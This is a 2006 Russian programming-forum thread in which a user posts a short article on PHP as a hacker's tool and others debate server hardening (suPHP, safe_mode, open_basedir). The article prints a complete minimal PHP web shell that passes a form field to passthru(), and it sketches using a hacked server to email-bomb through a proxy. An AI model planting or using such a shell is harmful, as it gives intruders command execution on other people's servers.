Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Флейм > PHP в руках хакера


Автор: st1ng3r 14.6.2006, 23:54



/*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\
|*                                       PHP в руках хакера.                                  *|
|*       © Stinger a.k.a. Crible                                                                *|
\*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*/



  

<|------------------------|>
<|*Содержание:      |>
<|------------------------|>

 
*1 Глава]> Предисловие
*2 Глава]> Примеры
*3 Глава]> Вывод
*4 Глава]> Заключение

|*-------------------------------------------------------------------*|

Предисловие

|*-------------------------------------------------------------------*|

Здравствуйте. Как-то раз, сидя на своём любимом канале #vingrad  
один чел поднял тему web-администрировании серверов. Оказалось что 
большинство людей отказываються от использования языка Perl
на своих серверах и предпочитают PHP. Я внимательно следил за 
разговором и причиной оказалась Безопасность. Цитирую одного
зачинщика разговора:
"Дело в том, что в интернете куча сценариев на Perl, которые
позволяют упростить взлом хакерам. При этом достаточно иметь 
минимальные права в системе."
Я немного задумался. А ведь и вправду. Эксплойтов на PHP 
гораздо меньше чем на Perl. Но это не значит что 
PHP безопаснее чем Perl. Впринципе любой язык программирования,
будь то PHP или Perl или С++, опасен в руках неопытного 
программиста-новичка...Именно об этом сегодня я вам и расскажу.
Статья будет посвящена PHP, или что такое PHP в руках хакера.

|*-------------------------------------------------------------------*|

Примеры

|*-------------------------------------------------------------------*|

Тот факт что в PHP мало хакерских утилит, никого не остановит.
Например хакер получил доступ к ftp, ему достаточно создать 
такой сценарий:

Код

<form action="system.php" method="post">
<textarea rows=1 cols=80 name="cmd"></textarea><input type="submit" value="Execute">
<?
echo "<hr>";
echo "<pre>";
passthru($_POST['cmd']);
echo "</pre>";
echo "<hr>";
?>


Загрузив этот сценарий, хакер получит доступ к выполнению команд на
удалённом серваке с правами Web-сервера. Если наделить этот 
сценарий функциям работы с файлами то уже можно будет назвать
настоящим Shell доступом. 
Shell - оболочка для выполнения команд на удалённой системе.

Также можно например написать за 5 минут PHP сценарий который
будет бомбить опеределённый E-Mail. Для этого нужны минимальные
знания в PHP, и даже новичок который неплохо разбираеться в работе 
с электронной почтой и функцией mail() может написать такой вот
сценарий. Ну а если ещё и хакер взломав сервер с широким каналом 
разместит там этот сценарий, вот тогда начнёться настоящий хаос.
Использование взломанного сервера позволяет хакеру оставаться 
анонимным. Для этого потребуеться анонимный proxy-сервер который 
будет скрывать реальный IP.

|*-------------------------------------------------------------------*|


Вывод

|*-------------------------------------------------------------------*|

Возможно языки программирования для web-серверов удобны для
создания сайтов, но в руках хакеров они являються грозным оружием.
Борьба людей с нестандартным складом ума против сис.администраторов
будет вечной. Профессионалы в области ИТ должны использовать
свои знания во благо общества, а не во зло.
Мне было бы очень интересно посмотреть на хакера который забыл 
исправить ошибку в коде и торопливо залил файл на сервер пойдя
пить пиво, и придя , зашедши на свой сайт проверить как он, вместо
привычного - "Привет Вася Пупкин" видит - "Fuck you nigga'z".
Мдя, сайт ломанули обычные дети, через локальный include.
Наверное теперь, "хакер" призадумаеться над СВОИМИ действиями.
"А почему так???" И возможно перейдёт со стороны Хака на сторону 
Security! Лично я отношусь ко второму. Я за безопасный код!

|*-------------------------------------------------------------------*|

Заключение

|*-------------------------------------------------------------------*|

Думаю что эта статья будет полезна для новичков программистов 
которые творя тысячи код кода не на каплю не задумываеються о 
безопасности. А ведь надо. Ктомуже если вы программируете на PHP,
столь гибком и опасном языке вам просто необходимо это делать!
Незнаю как вы, но я живу под эгидой: 
"Безопасность превыше всего!"

|*-------------------------------------------------------------------*|

© Stinger a.k.a. Crible
Особую благодарность в помощи по написанию статьи я выражаю
человеку под ником Tellur. Он помог в составлении примеров 
PHP сценариев и вдохновлению на написание статьи.


|*-------------------------------------------------------------------*|
   

продолжение следует...
 

Автор: Рыжий 15.6.2006, 00:59
воды много налил, мало фактов. smile  

Автор: DezmASter 15.6.2006, 01:11
Ничего так. Сойдет - обещаю эта статья будет включена в первый выпуск журнала Oxygen 

Автор: st1ng3r 15.6.2006, 01:22
DezmASter , спасибо!
Рыжий, что посоветуешь добавить? 

Автор: Рыжий 15.6.2006, 01:29
st1ng3r, не просто рассуждения о том, что может сделать хакер, а конкретно - как он это сделает и как от этого защититься. 

Автор: st1ng3r 15.6.2006, 01:43
Цитата

как он это сделает и как от этого защититься. 

 smile Гыгыгы, вся фишка в том что это будет уже следующая статья. Типа продолжение... 

Автор: Рыжий 15.6.2006, 01:54
st1ng3r, прежде как писать, прочти еще разок правила Винграда - там запрещено писать четкие хакерские методы. Просто постарайся как то всколзь их сказать smile 

Автор: st1ng3r 15.6.2006, 02:14
Каждый представленный мой скрипт будет таким, что только хакер или опытный php-coder сможет понять истинное его предназначение.
Так что с этим проблем не будет. Но вот с этим скриптом я обложался. Больше такого не повториться. 

Автор: Sun 15.6.2006, 09:19
Цитата(st1ng3r @  14.6.2006,  20:54 Найти цитируемый пост)
Загрузив этот сценарий, хакер получит доступ к выполнению команд на
удалённом серваке с правами Web-сервера. Если наделить этот 
сценарий функциям работы с файлами то уже можно будет назвать
настоящим Shell доступом. .

Это если PHP выполняется из под процеса httpd, а это не есть хорошо. PHP должен как и CGI выполняться из под юзера - владельца документ рута. А там юзер вправе делать что угодно.

Гораздо опасней дыры в самом PHP. Не знаю откуда утверждение что под PHP мало эксплоитов - думаю это не так. Достаточно посмотреть с какой частотой выпускаются секьюрити патчи для популярных PHP продуктов - phpNuke, phpBB, osCommerce. Это настоящий геморой для админа, так как приходиться патчить это дело чуть ли не каждую неделю, а то и чаще. Да и в самом PHP регулярно находят секьюрити холы. 

Так что с утверждением что PHP более секьюрный чем CGI я не согласен. 

Автор: Wowa 15.6.2006, 16:45
Цитата(Sun @  15.6.2006,  08:19 Найти цитируемый пост)
Это если PHP выполняется из под процеса httpd, а это не есть хорошо. PHP должен как и CGI выполняться из под юзера - владельца документ рута. А там юзер вправе делать что угодно.

смотря с какой стороны смотреть. В плане производительности mod_php гораздо быстре, чем ПХП через CGI. 

Автор: Sun 15.6.2006, 17:56
Цитата(Wowa @  15.6.2006,  13:45 Найти цитируемый пост)

смотря с какой стороны смотреть. В плане производительности mod_php гораздо быстре, чем ПХП через CGI.  

Я не говорю о том чтобы запускать PHP как CGI, а о том чтобы запускать его не из под пользователя httpd, а из под того пользователя, который является владельцем документ рута  данного виртуального хоста, иначе ты получаешь неограниченный доступ к чужим документ рутам. 

Автор: TELLUR 15.6.2006, 18:48
Цитата(Sun @ 15.6.2006,  09:19)
Гораздо опасней дыры в самом PHP. Не знаю откуда утверждение что под PHP мало эксплоитов - думаю это не так. Достаточно посмотреть с какой частотой выпускаются секьюрити патчи для популярных PHP продуктов - phpNuke, phpBB, osCommerce. Это настоящий геморой для админа, так как приходиться патчить это дело чуть ли не каждую неделю, а то и чаще. Да и в самом PHP регулярно находят секьюрити холы. 

Я бы не стал так останавливаться на ПХП-Нюке и ПХПББ, потому что сейчас в последних версиях ПХПББ защищёнее бесплатного ИПБ, который ломается любым скрипт киддисом паблик сплойтом... А вообще дело не в языке программирования и его защищённости, а во внимательности и опыте программиста, потому что все возможные уязвимости можно закрыть.  

Автор: Wowa 15.6.2006, 19:20
Цитата(Sun @  15.6.2006,  16:56 Найти цитируемый пост)
Я не говорю о том чтобы запускать PHP как CGI, а о том чтобы запускать его не из под пользователя httpd, а из под того пользователя, который является владельцем документ рута  данного виртуального хоста

А как его можно запустить не из под пользователя апаче, когда mod_php является модулем апача?

Цитата(Sun @  15.6.2006,  16:56 Найти цитируемый пост)
иначе ты получаешь неограниченный доступ к чужим документ рутам. 

Не получаю. Нужно всего лишь включить safe_mode и прописать open_base_dir

Добавлено @ 19:21 
Цитата(TELLUR @  15.6.2006,  17:48 Найти цитируемый пост)
сейчас в последних версиях ПХПББ защищёнее бесплатного ИПБ

не знаю насчет ПХПББ, но в нашем форумском инвижионе мы столько уже дырок отловили и пофиксили, что вряд ли они поддаются счету. 

Автор: TELLUR 15.6.2006, 19:37
Да, в публичных движках всегда приходится вносить изменения и поправлять баги. 

Автор: Sun 15.6.2006, 20:33
Цитата(Wowa @  15.6.2006,  16:20 Найти цитируемый пост)
А как его можно запустить не из под пользователя апаче, когда mod_php является модулем апача?

Например так http://www.suphp.org/Home.html

Цитата(Wowa @  15.6.2006,  16:20 Найти цитируемый пост)
Не получаю. Нужно всего лишь включить safe_mode и прописать open_base_dir

safe_mode нередко отключают, потому что с ним не работают многие приложения. На хостингах это обычное дело smile 

Автор: Mal Hack 15.6.2006, 22:30
Во первых это не статья. То, что есть ошибки и начинающие программисты их допускают иэто всем известно. Никакой полезной информации нет.

Что касается языка. Вот вы мне объясните а при чем тут это? Первая причина ошибок - кривые руки программиста. Да, ошибки в языке могут привести к нежелательным последствиям, но не к взлому сервера.  

Автор: TELLUR 15.6.2006, 23:40
Цитата(Mal Hack @ 15.6.2006,  22:30)
Да, ошибки в языке могут привести к нежелательным последствиям, но не к взлому сервера.

Хех, типа если программер оставил дырку в скрипте, то сервер не поломают? Мда...  можно порутать сервер, поэтому надо очень внимательно подходить к написанию скриптов. 

Автор: st1ng3r 15.6.2006, 23:47
Цитата

Во первых это не статья.

Понимаешь в чём дело Mal Hack, это каг-бы краткое вступление. В планах написать несколько частей на сабж. Тоесть я бы сказал: "затишье перед бурей"
Цитата

Никакой полезной информации нет.

Для тебя-то как раз может и нет. Но я писал статью расчитывая на новичков, которые только ХОТЯТ изучать PHP.
Цитата

Да, ошибки в языке могут привести к нежелательным последствиям, но не к взлому сервера. 

Абсолютно согласен с Tellur, имхо надо писать безопасные скрипты. 
-----------------------------------
А вообще этой статьёй я пытаюсь сказать людям, программистам, которым лиш бы настрочить код, что надо писать безопасные скрипты. И намного больше времени уделять безопасности, вот и всё.
Вобщем ждите продолжения...  

Автор: smartov 16.6.2006, 13:56
Мне кажется следующие статьи будут посвящены уже сто раз обсуждавшемуся вопросу для чего нужны mysql_escape_string  

Автор: Mal Hack 16.6.2006, 14:14
Цитата(TELLUR @  16.6.2006,  00:40 Найти цитируемый пост)
Хех, типа если программер оставил дырку в скрипте, то сервер не поломают? Мда...  можно порутать сервер, поэтому надо очень внимательно подходить к написанию скриптов.  

Я вроде бы по русски написал, что дырка в скрипте - может привезти к взлому сервера, а ошибка в самом интерпретаторе - практически нет.

Цитата(st1ng3r @  16.6.2006,  00:47 Найти цитируемый пост)
Понимаешь в чём дело Mal Hack, это каг-бы краткое вступление. В планах написать несколько частей на сабж. Тоесть я бы сказал: "затишье перед бурей"

Что-то я не видел там слова "Вступление". Все разбито на содержание и т.п. Раз уж взялся писать, так сначала полностью напиши, а потом показывай. Иначе как в начальной школе ученик подходит каждые 5 минутк учителю и спрашивает: "А вот посмотрите вот эти два слагаемых я правильно сложил?".

ЗЫ: Без обид, просто обидно, когда интересные темы либо не описывавются, либо глупо описываются (это уже достало). Вон, посмотри статью Opik'a, как пример хорошо написанной статьи с информацией.

Цитата(st1ng3r @  16.6.2006,  00:47 Найти цитируемый пост)
Для тебя-то как раз может и нет. Но я писал статью расчитывая на новичков, которые только ХОТЯТ изучать PHP.
Цитата

Прочитал еще раз... Не обижайся, но ПРАКТИЧЕСКОЙ информации - НЕТ. Можешь говорить что угодно. Опять же, глянь статью Опика и посмотри как там представленна информация с примерами.

Цитата(st1ng3r @  16.6.2006,  00:47 Найти цитируемый пост)
А вообще этой статьёй я пытаюсь сказать людям, программистам, которым лиш бы настрочить код, что надо писать безопасные скрипты. И намного больше времени уделять безопасности, вот и всё.

Так ты для новичков или для программистов пишешь???
То, что скрпты надо безопасно писать это знают все нормальные программисты...

Цитата(smartov @  16.6.2006,  14:56 Найти цитируемый пост)
Мне кажется следующие статьи будут посвящены уже сто раз обсуждавшемуся вопросу для чего нужны mysql_escape_string   

Еще добавь сюда safe_mode, где вся статья будет перчислять обрубаемые им функции smile)) 

Автор: st1ng3r 16.6.2006, 15:07
Mal Hack, дай пожалуйста ссылку на статью опика. 

Автор: Mal Hack 16.6.2006, 15:11
http://forum.vingrad.ru/index.php?showtopic=38887 

Автор: Punk_UnDead 16.6.2006, 15:23
st1ng3r, 
Цитата
Например хакер получил доступ к ftp, ему достаточно создать 
такой сценарий

давай уж сразу админский доступ
 

Автор: st1ng3r 16.6.2006, 16:36
Цитата

давай уж сразу админский доступ

Что-то я не понял. Я привёл конкретный пример, и если ты не знал то пароли админа и пароль к фтп скорее всего разные smile  

Автор: RA 18.6.2006, 03:43
Цитата

в последних версиях ПХПББ защищёнее бесплатного ИПБ


 Это я слышу с частотой выхода каждой новой версии smile, а через недельку (на крайняк месяц), читаю новости о найденных уязвимостях.

ПХПББ стал нарицательным словом, обозначающим
(типа как хостинг от народа)

безопасный ББ это бб в катором всё отключено  smile  

Автор: S.A.P. 18.6.2006, 08:38
Цитата(RAdmin @  18.6.2006,  03:43 Найти цитируемый пост)
ПХПББ стал нарицательным словом, обозначающим
(типа как хостинг от народа)

безопасный ББ это бб в катором всё отключено


да ладно вам  smile . Чтоб сломать форум достаточно одной дыры. Зато для PHPBB обновления выходят, а для IBP 1.3 хде их взять?  smile . 

Автор: Punk_UnDead 18.6.2006, 21:18
st1ng3r, всё мне прекрасно известно, сам в этом варился, вот вам пример реального хостинга
00 с каким правами у нас скрипты запускаются? с минимальными
01 какие права на фтп? минимальные, те, права доступа мы менять не можеи
10 отправить почту, будь добр попроси админа выставить соответствующие права с которыми твой скрипт запустится
11 создать/перезаписать/удалить файл  будь добр попроси админа выставить соответствующие права

всё это надо в таких статьях указывать, а то не статьи, а страшилки для детей 

Автор: Sun 18.6.2006, 22:01
Цитата(Punk_UnDead @  18.6.2006,  18:18 Найти цитируемый пост)
10 отправить почту, будь добр попроси админа выставить соответствующие права с которыми твой скрипт запустится
11 создать/перезаписать/удалить файл  будь добр попроси админа выставить соответствующие права

Так можно дойти до абсурда - админ установи php, админ установи апач, админ включи сервер в розетку  smile  Админ такими вещами на хостинге заниматься не должен. Его дело отслеживать критические ситуации и вовремя их решать. Все позволенные юзеру операции он должен делать сам, через шел, либо через контрольную панель хостинга. 

Автор: Punk_UnDead 20.6.2006, 20:02
Sun, это здоровая параноя 

Автор: st1ng3r 20.6.2006, 22:08
Punk_UnDead, как раз наоборот, паранойей тут не пахнет smile  

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)